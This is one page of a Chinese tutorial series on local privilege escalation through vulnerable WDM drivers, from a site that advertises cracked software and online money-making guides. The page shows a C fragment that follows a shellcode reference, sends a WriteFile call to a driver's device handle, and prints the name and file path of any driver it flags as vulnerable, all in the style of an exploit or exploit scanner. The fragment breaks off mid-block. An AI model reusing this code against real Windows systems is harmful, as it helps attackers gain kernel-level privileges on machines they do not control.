免费教程_免费网赚教程_破解版软件-寂涯网络学习基地

当前位置: 主页 > 系统综合 > 系统安全 > 利用 WDM 驱动 本地提权(10)

利用 WDM 驱动 本地提权(10)

时间:2011-11-29 12:10来源:未知 整理:寂涯网络 点击:


shellcode
                            status = WriteFile(    hDevice,
                                                &lpTmp,
                                                sizeof( DWORD ),
&junk,

NULL);
                            if( FlagVulnerable )
                            {
                                int dvLen = wcslen
(drvObj.DriverName.Buffer);
                                int len = WideCharToMultiByte (CP_ACP, 0,
drvObj.DriverName.Buffer, dvLen, NULL, 0, 0, 0) + sizeof(WCHAR);
                                szDrvName = (char*)calloc( len,
sizeof(char));
                                WideCharToMultiByte(CP_ACP, 0,
drvObj.DriverName.Buffer, dvLen, szDrvName, len, 0, 0);
                                // Dirty hack
                                szFilename = strstr(szDrvName +
sizeof(char),"\\") + sizeof(char);
                                printf("\n\t==== Cut & Paste ====\n\n");
                                printf("\n\t [ *** ] Device  \"%ws\" is
vulnerable", lpDevices[i] );
                                printf("\n\t :: Vulnerable driver found
\"%ws\"\n",drvObj.DriverName.Buffer );
                                if( GetDriverInfoByName( szFilename, szPath,
&baseaddr ) )
                                    printf("\t :: This driver is located at:
\"%s\"\n\n",szPath);
                                printf("\n\t==== Cut & Paste ====\n\n");
                                status = TRUE;  

FlagVulnerable = FALSE;
                                free(szDrvName);
                            } else {

本页地址 http://www.jybase.net/xitonganquan/20111129678.html

百度搜索更多

谷歌搜索更多

顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------

评价:
昵称: 验证码:点击我更换图片
推荐内容
赞助商
赞助商


关于本站免责声明视频更新google百度地图视频地图RRS订阅

如有什么问题请在本站留言,或发邮件到 hxt167#foxmail.com